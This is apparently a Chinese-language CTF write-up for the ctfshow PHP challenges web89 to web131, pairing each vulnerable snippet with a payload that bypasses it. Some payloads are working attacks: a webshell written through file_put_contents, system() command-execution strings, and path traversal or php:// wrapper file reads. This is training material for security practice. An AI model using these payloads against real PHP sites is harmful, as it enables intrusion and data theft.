web89

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-18 15:38:51
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


include("flag.php");
highlight_file(__FILE__);

if(isset($_GET['num'])){
$num = $_GET['num'];
if(preg_match("/[0-9]/", $num)){
die("no no no!");
}
if(intval($num)){
echo $flag;
}
}

就是说,传一个数,要是数,但不是阿拉伯数字,

使用数组绕过

原理是说,intval()函数,如过里面传的是数组,都会返回一个0,所以构造payload

?num[]

就行了,得到flag

web90

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-18 16:06:11
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}else{
echo intval($num,0);
}
}

传入一个值,首先不能直接等于4476,接着intval()后要等于4476,返回flag

采用进制转换

4476=010574(八进制)

得到flag

web91

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-18 16:16:09
# @link: https://ctfer.com

*/

show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
if(preg_match('/^php$/i', $a)){
echo 'hacker';
}
else{
echo $flag;
}
}
else{
echo 'nonononono';
}

就是说,传入字符串,进行两个正则检测,第一个检测多行,要带有”php”,第二个只检测一行,不能带”php”,那就用%0a进行一次换行

构造payload

?cmd=aaa%0aphp

得到flag

web92

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-18 16:29:30
# @link: https://ctfer.com

*/

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
}

跟上面的差不多,进制转换还能做

web93

一样的,用进制转化做

web94

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-18 16:46:19
# @link: https://ctfer.com

*/

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(!strpos($num, "0")){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}

开头不能带0,但可以搞个正号+,就绕过去了

web95

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-18 16:53:59
# @link: https://ctfer.com

*/

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]|\./i", $num)){
die("no no no!!");
}
if(!strpos($num, "0")){
die("no no no!!!");
}
if(intval($num,0)===4476){
echo $flag;
}
} no no no!!!

坏了,符号不给用了,那就用空格,前面直接加个空格就行

web96

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-18 19:21:24
# @link: https://ctfer.com

*/


highlight_file(__FILE__);

if(isset($_GET['u'])){
if($_GET['u']=='flag.php'){
die("no no no");
}else{
highlight_file($_GET['u']);
}


}

我们来猜一下默认路径

u=/var/www/html/flag.php

就有flag了,

看了别的方法,有加./的,有用filter伪协议读取的

web97

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-18 19:36:32
# @link: https://ctfer.com

*/

include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
?>

就是说,post传俩值,要表面不同,md5后相同

用数组,因为数组不能md5,md5的值都是null

a[]=1&b[]=2

得到flag

web98

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-18 21:39:27
# @link: https://ctfer.com

*/

include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);

?>
$_GET?$_GET=&$_POST:'flag';

当$_GET不为空时,$_GET中内容引用为&_POST中内容

中间两行基本没用,所以我们只需要让get传参不为空,在用post传参,使[‘HTTP_FLAG’]==’flag’即可

payload:

GET: XXX/?flag=flag

POST: HTTP_FLAG=flag

web99

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-18 22:36:12
# @link: https://ctfer.com

*/

highlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) {
array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
file_put_contents($_GET['n'], $_POST['content']);
}

?>

开局先创建一个数组,后面生成的随机数会存放在这个数组中

接着开始生成随机数,并把随机数存放在数组中

下面if判断,get传参n不为空,接下来有一个

in_array($_GET['n'], $allow)

要求n在这个数组中,就是要求n的值需要等于随机值,接下来会把post的值写入n中

这里in_array()存在弱比较漏洞,如果数组中存在1,即使n=1.php也会被判定为n在数组中

payload:

GET: xxx/?n=1.php

POST: content=<?php eval($_POST[1])?>

多执行几次,基本都会随机出1,接下来访问1.php,进行rce,得到flag

web100

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-21 22:10:28
# @link: https://ctfer.com

*/

highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
if(!preg_match("/\;/", $v2)){
if(preg_match("/\;/", $v3)){
eval("$v2('ctfshow')$v3");
}
}

}


?>
}

题目直接说flag在ctfshow这个类中

这题的漏洞在于

$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);

看似是一个判断语句,要求v1,v2,v3都需要是数,实际上,因为中间用and连接,这其实是一个赋值式,将v1是否为数字赋值给v0,至于v2,v3,完全无关

接下来,需要v1是数字,v2中不含’;’,v3中必须含’;’

eval("$v2('ctfshow')$v3");

我们得想办法构造rce语句,想到v2,v3中间中注释,把(‘ctfshow’)就注释掉

payload:

GET: v1=1&v2=system('ls') /* &v3= */;

后面执行rce得到flag

web101

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-22 00:26:48
# @link: https://ctfer.com

*/

highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){
eval("$v2('ctfshow')$v3");
}
}

}

?>

涉及到了序列化知识,反射类,漏洞跟前面一样,但给v2,v3设置了一堆过滤,不能用正常rce了

需要了解一个知识:ReflectionClass,通俗来讲就是可以通过一个对象来获取所属类的具体内容

这里直接echo new ReflectionClass(‘ctfshow’)就把ctfshow的类信息调出

payload:

GET: xxx/?v1=1&v2=echo new ReflectionClass&v3=;

web102

<?php

/*
# -*- coding: utf-8 -*-
# @Author: atao
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-23 20:59:43

*/


highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
$s = substr($v2,2);
$str = call_user_func($v1,$s);
echo $str;
file_put_contents($v3,$str);
}
else{
die('hacker');
}


?>

先了解新遇到的函数

substr($v2,2)

默认substr(内容,起点,终点)

substr('123456',2)=3456

这里将v2的前两位去掉后赋值给$s

call_user_func($v1,$s)

call_user_func(a,b),简单理解起来就是说,对b使用a方法

call_user_func(a,b)= a(b) ,懂?

所以我们想到的方法是,v2必须是数字,先找一个rce语句,先base64,在全url转码,前面带两个不需要的数

问题难在这个语句,因url编码后,仅能出现0-9,最多一个e,这样才能满足v2是数字,翻了翻别的wp,看到了

115044383959474e6864434171594473

这串数字,去掉开头两位后,再base64解码,正好是一个rce语句,且不含别的字母

v1=hex2bin,hex2bin()这个函数可以将url编码转回字母

file_put_contents($v3,$str);

接下来将v1(s)的内容写入v3,这之间还需要再进行一次base64解码,所有v3中传入伪协议写入,之后再访问该文件

payload:

GET: xxx/?v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=2.php

POST:v1=hex2bin

web103

<?php

/*
# -*- coding: utf-8 -*-
# @Author: atao
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-23 21:03:24

*/


highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
$s = substr($v2,2);
$str = call_user_func($v1,$s);
echo $str;
if(!preg_match("/.*p.*h.*p.*/i",$str)){
file_put_contents($v3,$str);
}
else{
die('Sorry');
}
}
else{
die('hacker');
}

?>

中间有一串奇怪的过滤

preg_match(“/.*p.*h.p./i”,$str),但他对str进行正则匹配,但我们的str是一串base64,不会运气差到出现pxxxhxxxp这么怪的base64,所以上面的还能用

payload:
GET: xxx/?v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=2.php
POST:v1=hex2bin

web104

<?php

/*
# -*- coding: utf-8 -*-
# @Author: atao
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-28 22:27:20

*/


highlight_file(__FILE__);
include("flag.php");

if(isset($_POST['v1']) && isset($_GET['v2'])){
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
if(sha1($v1)==sha1($v2)){
echo $flag;
}
}



?>

很简单一题目,就是传入两个值,然后进行sha1比较,因为题目没有设置对原本的v1和v2进行比较,所以传入两个相同的值就行了,不需要看漏洞

payload:
GET:XXX/?v2=1
POST: v1=1

web105

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-28 22:34:07

*/

highlight_file(__FILE__);
include('flag.php');
error_reporting(0);
$error='你还想要flag嘛?';
$suces='既然你想要那给你吧!';
foreach($_GET as $key => $value){
if($key==='error'){
die("what are you doing?!");
}
$$key=$$value;
}foreach($_POST as $key => $value){
if($value==='flag'){
die("what are you doing?!");
}
$$key=$$value;
}
if(!($_POST['flag']==$flag)){
die($error);
}
echo "your are good".$flag."\n";
die($suces);

?>

非常绕的一道题,因为flag的输出不在

echo "your are good".$flag."\n";
die($suces);

而在

if(!($_POST['flag']==$flag)){
die($error);

这道题的核心步骤,是构造一个

error=suces=flag

造成这题的误区,可能是没注意到error和suces这两个题目给定的参数内容是可更改的

先看新函数foreach()

这是一个数列遍历函数

foreach($_GET as $key => $value){
if($key==='error'){
die("what are you doing?!");
}
$$key=$$value;
}

将GET传入的值作为健值,去遍历数组

如果键值等于error,结束并返回一个what are you doing?!

就是说,我们get传参的内容不能带有error

foreach($_POST as $key => $value){
if($value==='flag'){
die("what are you doing?!");
}
$$key=$$value;
}

这个同理,就是说post传参内容不能带有flag

if(!($_POST['flag']==$flag)){
die($error);
}

当post传入的flag不等于ctfshow{xxxx}时候,就会结束并返回一个error

所以这题的思路是,get不能带error,所有get改变suces,post不能带flag,所以在get中给suces中传入flag

这时候返回的error就是$flag

payload:
GET:suces=flag
POST:error=suces

这里需要注意的是,之所以这里变成的是$error=$suces,而不是等于字符串’suces’,是因为有 $$key=$$value,这串双$$,直接覆盖赋值,直接让参数等于别的参数中的值,$suces=$flag也是同理

web106

<?php

/*
# -*- coding: utf-8 -*-
# @Author: atao
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-28 22:38:27

*/


highlight_file(__FILE__);
include("flag.php");

if(isset($_POST['v1']) && isset($_GET['v2'])){
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
if(sha1($v1)==sha1($v2) && $v1!=$v2){
echo $flag;
}
}



?>

这里跟上面的就不一样了,因为还有一个v1!=v2

这里我们使用跟前面一样的数组绕过,跟md5一样,各种值的转换,数组是直接变成0的,所有这里直接用数组

payload:
GET:v2[]=2
POST:v1[]=1

web107

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-28 23:24:14

*/


highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

if(isset($_POST['v1'])){
$v1 = $_POST['v1'];
$v3 = $_GET['v3'];
parse_str($v1,$v2);
if($v2['flag']==md5($v3)){
echo $flag;
}

}



?>

这里给我晕了好久,什么叫v2[‘flag’],flag从哪来的?翻了翻才知道,这里flag是需要我们自己传入的

v1=flag=202cb962ac59075b964b07152d234b70
parse_str($v1,$v2)
这样v2['flag']=202cb962ac59075b964b07152d234b70

后面再将v3传入就行了

parse_str()起到一个类似数组整理的作用

echo $v2
v2= ['flag' => '202cb962ac59075b964b07152d234b70'];

web108

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-28 23:53:55

*/


highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE) {
die('error');

}
//只有36d的人才能看到flag
if(intval(strrev($_GET['c']))==0x36d){
echo $flag;
}

?>
if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE)  {
die('error');

重点看这句,

想要通过这段判断,需要让

ereg ("^[a-zA-Z]+$", $_GET['c']

为true

ereg ("^[a-zA-Z]+$")

要求传入的值,开头结尾都要是字母,中间也不能包含别的内容

再看输出flag的条件

if(intval(strrev($_GET['c']))==0x36d){
echo $flag;
}

对c这个字符串进行翻转,要求c的值与0x36d(877)若比较相同,但前面要求首位都是字母,中间也不能有数字

这时候需要用到00截断,对于传入的字符串,系统以%00结尾,我们手动传入00,让系统认为后面没东西了,但实则后面还有我们的数字

payload:
GET:c=a%00778

web109

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-29 22:02:34

*/


highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];

if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){
eval("echo new $v1($v2());");
}

}

?>
if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){
eval("echo new $v1($v2());");

正则匹配,v1和v2都包含字母,new $v1 创建一个名为 v1 的类的实例,($v2()) 调用 v2 方法,将其返回值作为参数传递给 v1 类的构造函数,echo 输出创建的对象,由于 echo,如果 v1 类实现了 __toString() 方法,该方法会被调用并输出结果。

payload:

?v1=Exception&v2=system('ls')
?v1=CachingIterator&v2=system(ls)
?v1=ReflectionClass&v2=system('tac fl36dg.txt')

web110

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-29 22:49:10

*/


highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];

if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){
die("error v1");
}
if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){
die("error v2");
}

eval("echo new $v1($v2());");

}

?>

符号被禁,只能使用内置函数

filesystemiterator 遍历文件类

DirectoryIterator 遍历目录类

getcwd()函数 获取当前工作目录 返回当前工作目录

payload:

v1=Filesystemiterator&v2=getcwd

web111

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-30 02:41:40

*/

highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

function getFlag(&$v1,&$v2){
eval("$$v1 = &$$v2;");
var_dump($$v1);
}


if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];

if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){
die("error v1");
}
if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){
die("error v2");
}

if(preg_match('/ctfshow/', $v1)){
getFlag($v1,$v2);
}





}

?>
function getFlag(&$v1,&$v2){
eval("$$v1 = &$$v2;");
var_dump($$v1);
}

假设有

$a='123'
$b='456'
$v1='a'
$v2='b'

getFlag(&$v1,&$v2)

就相当于

$a=$b='456'
echo $a
所以这里传$v1='ctfshow'(题目要求)

给$v2传'flag',这样就相当于

ehco $ctfshow #$ctfshow=$flag

但是这里却返回了一个NULL,说明$flag是在flag.php中变量,在index.php无法打印出来,

这时需要用到参数GLOBALS,这个参数能将全局所有已声明变量以及值打印出来

payload:

v1=ctfshow&v2=GLOBALS
array(8) { ["_GET"]=> array(2) { ["v1"]=> string(7) "ctfshow" ["v2"]=> string(7) "GLOBALS" } ["_POST"]=> array(0) { } ["_COOKIE"]=> array(0) { } ["_FILES"]=> array(0) { } ["v1"]=> &string(7) "ctfshow" ["v2"]=> &string(7) "GLOBALS" ["flag"]=> string(45) "ctfshow{041e386e-46e5-416b-8b2b-88df832a3640}" ["GLOBALS"]=> &array(8) { ["_GET"]=> array(2) { ["v1"]=> string(7) "ctfshow" ["v2"]=> string(7) "GLOBALS" } ["_POST"]=> array(0) { } ["_COOKIE"]=> array(0) { } ["_FILES"]=> array(0) { } ["v1"]=> &string(7) "ctfshow" ["v2"]=> &string(7) "GLOBALS" ["flag"]=> string(45) "ctfshow{041e386e-46e5-416b-8b2b-88df832a3640}" ["GLOBALS"]=> *RECURSION* } }

得到flag

web112

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-30 23:47:49

*/

highlight_file(__FILE__);
error_reporting(0);
function filter($file){
if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){
die("hacker!");
}else{
return $file;
}
}
$file=$_GET['file'];
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
}

直接用伪协议php://fliter读取

payload:

?file=php://filter/resource=flag.php

web113

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-30 23:47:52

*/

highlight_file(__FILE__);
error_reporting(0);
function filter($file){
if(preg_match('/filter|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
die('hacker!');
}else{
return $file;
}
}
$file=$_GET['file'];
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
}

filter被禁用,换一个协议读取

payload:

?file=compress.zlib://flag.php

web114

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-01 15:02:53

*/

error_reporting(0);
highlight_file(__FILE__);
function filter($file){
if(preg_match('/compress|root|zip|convert|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
die('hacker!');
}else{
return $file;
}
}
$file=$_GET['file'];
echo "师傅们居然tql都是非预期 哼!";
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
}

伪协议读取

?file=php://filter/resource=flag.php

web115

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-01 15:08:19

*/

include('flag.php');
highlight_file(__FILE__);
error_reporting(0);
function filter($num){
$num=str_replace("0x","1",$num);
$num=str_replace("0","1",$num);
$num=str_replace(".","1",$num);
$num=str_replace("e","1",$num);
$num=str_replace("+","1",$num);
return $num;
}
$num=$_GET['num'];
if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){
if($num=='36'){
echo $flag;
}else{
echo "hacker!!";
}
}else{
echo "hacker!!!";
}
if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36')
is_numeric($num):检查变量$num是否为数字或数字字符串
$num !== '36':严格判断$num的值和类型都不等于字符串 '36'
trim($num) !== '36':去除$num首尾空白后,严格不等于字符串 '36'
filter($num) == '36':经过filter()函数处理后的值等于字符串 '36'

判断句用的是and链接而不是&,所以只有第一个满足即可

payload:

?num=%0c36

web123

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/", $c)&&$c<=18){
eval("$c".";");
if($fl0g==="flag_give_me"){
echo $flag;
}
}
}
?>

php特性,如果存在[]空格等,被解释为_后,后面再出现非法符号也不会消失

接着在

eval("$c".";");  

这里输出flag

payload:

CTF_SHOW=&CTF[SHOW.COM=&fun=echo $flag

web125

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 22:02:47
#
#
*/
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print/i", $c)&&$c<=16){
eval("$c".";");
if($fl0g==="flag_give_me"){
echo $flag;
}
}
}
?>




首先要满足输出条件

POST:

CTF_SHOW=&CTF[SHOW.COM=

flag的输出口还是在

eval("$c".";");

但echo,flag都被过滤了,采用别的方法

首先选择直接发开flag.php,打开方式选用highlight_file(),flag.php就从get方式传入

payload:

get:?1=flag.php
post:CTF_SHOW=&CTF[SHOW.COM=&fun=highlight_file($_GET[1])

web126

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 22:02:47
#
#
*/
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print|g|i|f|c|o|d/i", $c) && strlen($c)<=16){
eval("$c".";");
if($fl0g==="flag_give_me"){
echo $flag;
}
}
}

禁了几个字母,命令也基本没法执行了

那就试着满足条件,让

if($fl0g==="flag_give_me"){
echo $flag;

直接输出flag

注意到

$a=$_SERVER['argv'];

这个的作用

先看payload:

GET:?$fl0g=flag_give_me;
POST:CTF_SHOW=&CTF[SHOW.COM=&fun=eval($a[0])
$a=$_SERVER['argv'];

起到读取get请求的作用,get中传入?$fl0g=flag_give_me;,a[0]中的内容就是?$fl0g=flag_give_me;,把内容当指令用

下面eval()直接执行,给$flag赋值,满足if条件,输出flag

web127

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-10 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-10 21:52:49

*/


error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
$ctf_show = md5($flag);
$url = $_SERVER['QUERY_STRING'];


//特殊字符检测
function waf($url){
if(preg_match('/\`|\~|\!|\@|\#|\^|\*|\(|\)|\\$|\_|\-|\+|\{|\;|\:|\[|\]|\}|\'|\"|\<|\,|\>|\.|\\\|\//', $url)){
return true;
}else{
return false;
}
}

if(waf($url)){
die("嗯哼?");
}else{
extract($_GET);
}


if($ctf_show==='ilove36d'){
echo $flag;
}

题目意思就是传入字符串,md5处理后传入$ctf_show,md5后的字符如果等于ilove36d,就给flag

但根本找不到这样的字符串,但如果想直接给$ctf_show赋值,”_”却被禁用了,这时就需要构造”_“

payload:

?ctf show=ilove36d

web128骚操作

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-10 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-12 19:49:05

*/


error_reporting(0);
include("flag.php");
highlight_file(__FILE__);

$f1 = $_GET['f1'];
$f2 = $_GET['f2'];

if(check($f1)){
var_dump(call_user_func(call_user_func($f1,$f2)));
}else{
echo "嗯哼?";
}



function check($str){
return !preg_match('/[0-9]|[a-z]/i', $str);
}

先看

function check($str){
return !preg_match('/[0-9]|[a-z]/i', $str);
}

一个检测作用的函数,检测是否带有数字或字母

本体难点在于

if(check($f1)){
var_dump(call_user_func(call_user_func($f1,$f2)));
}

首先对f1进行了检测,f1中不能带有字母或数字

接着是三个函数串在一起

call_user_func($f1,$f2)

之前提到过,大抵意思就是f1(f2),但f1也不能是字母,这是就需要一个特殊的函数

_() 
_()==gettext(), 是gettext()的拓展函数,开启text扩展get_defined_vars — 返回由所有已定义变量所组成的数组。

payload:

?f1=_&f2=get_defined_vars

web129

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-13 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-13 03:18:40

*/


error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['f'])){
$f = $_GET['f'];
if(stripos($f, 'ctfshow')>0){
echo readfile($f);
}
}

先看函数

stripos()

stripos() 函数用于在一个字符串中查找另一个字符串(子串)首次出现的位置,且不区分大小写。

示例:

$str = "Hello World!";
echo stripos($str, "world"); // 输出 6(不区分大小写,找到 "World" 位置)
echo stripos($str, "abc"); // 输出 false(未找到)

就是说我们传入的字符串中,必须要带有完整的”ctfshow”,接着后面用readfile()去打开

这里很明显我们应该往里面传文件地址

payload:

?f=/ctfshow/../../../../var/www/html/flag.php

或者用伪协议读取,ctfshow放在编码那里间隔

web130

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-13 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-13 05:19:40

*/


error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
$f = $_POST['f'];

if(preg_match('/.+?ctfshow/is', $f)){
die('bye!');
}
if(stripos($f, 'ctfshow') === FALSE){
die('bye!!');
}

echo $flag;

}

前置题目,给后面做准备的

payload:

f=ctfshow

web131

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-13 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-13 05:19:40

*/


error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
$f = (String)$_POST['f'];

if(preg_match('/.+?ctfshow/is', $f)){
die('bye!');
}
if(stripos($f,'36Dctfshow') === FALSE){
die('bye!!');
}

echo $flag;

}

算是一种溢出,不学pwn,不懂,总之就是,preg_match(),最多只能回溯1000000位,超过这个数后,就不再追溯

